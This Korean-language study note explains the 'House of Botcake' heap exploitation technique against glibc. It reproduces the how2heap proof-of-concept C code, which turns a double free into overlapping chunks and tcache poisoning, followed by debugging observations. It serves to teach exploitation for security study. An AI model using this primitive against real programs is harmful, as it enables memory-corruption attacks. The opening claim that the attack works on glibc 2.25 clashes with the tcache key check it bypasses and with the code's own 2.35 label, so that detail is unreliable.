Heap exploit - House of botcake

chk_pass·2024년 4월 9일
0

>glibc 2.25에서 가능

💡 tcache에서 key값을 변조하지 않고 dfb를 트리거할 수 있는 공격방법




<익스 시나리오>

=========사전 준비=========

  1. 0x100 크기의 청크 7개 할당 (추후에 tcache를 채우기 위함)
  2. 0x100크기의 병합을 위한 청크 1개 할당 (=prev chunk)
  3. Double free할 0x100크기의 청크 할당 (= vicitm chunk)
  4. 탑 청크와의 병합을 방지할 패딩 용 0x10크기의 청크 할당

==========공격 수행==========

  1. 1에서 할당한 7개의 청크 free(tcache가 가득 찬다)
  2. Victim chunk를 free해서 unsorted bin에 넣는다.
  3. Prev chunk를 free해서 victim chunk와 병합시킨다. (unsorted bin에서 병합된 상태로 존재)
  4. 0x100바이트의 추가적인 동적할당을 통해 tcache에 자리를 만든다.
  5. 그리고 victim chunk를 다시 free하면 double free가 가능하다. (이전에 free한 victim chunk는 병합되어 unsorted bin에 있는 상태 + 지금 free한 victim chunk는 tcache의 빈자리에 들어가므로 double free 보호기법 우회 가능)



<원리>

이것이 가능한 이유는 free 과정에서 청크를 tache에 넣을 때는 오로지 청크의 key값이 tcache_key와 동일한지의 여부만으로 double free를 검사하기 때문이다.

이미 unsorted bin에 존재하고 있는 victim chunk는 unsorted bin에 있기 때문에 key값의 위치에는 main_arena영역의 특정 값이 존재한다. 이 값이 tcache_key 와는 같을리가 없으므로 보호기법을 우회하여 tcache에 중복해 무사히 들어갈 수 있다.

따라서 victim청크를 병합시켜 unsorted bin에 넣어놓은 후 의도적으로 tcache를 비워 그 청크를 또 tcache에 넣어버린다면 double free를 할 수 있다.



<house of botcake 코드> - how2heap glibc 2.35기준

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    intptr_t *prev = malloc(0x100);
    printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
    intptr_t *a = malloc(0x100);
    printf("Allocating the victim chunk: a @ %p\n", a);
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);
    
    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);
    
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);
    
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/

    puts("Now we have the chunk overlapping primitive:");
    int prev_size = prev[-1] & 0xff0;
    int a_size = a[-1] & 0xff0;
    printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
    printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
    a = malloc(0x100);
    memset(a, 0, 0x100);
    prev[0x110/sizeof(intptr_t)] = 0x41414141;
    assert(a[0] == 0x41414141);

    return 0;
  }




<실제 디버깅>

공격 수행-1 후의 상황

공격수행-2 후의 상황

공격 수행-4

0x100 할당 1회 후

parseheap 이 이상하긴 하지만 tcache entry를 살펴보면 7개 연속 청크 중 마지막이 할당되어 tcache에서 사라진 상태임

즉, prev chunk와 victim chunk는 병합된 상태로 unsorted bin에 존재 + tcache는 6개가 차있는 상태

victim chunk free 후

victim chunk가 tcache의 빈자리로 들어가게 됨.

즉, victim chunk는 tcache에도 있고 unsorted bin에도 (병합된 상태로) 있는 double free상태가 된다.

0개의 댓글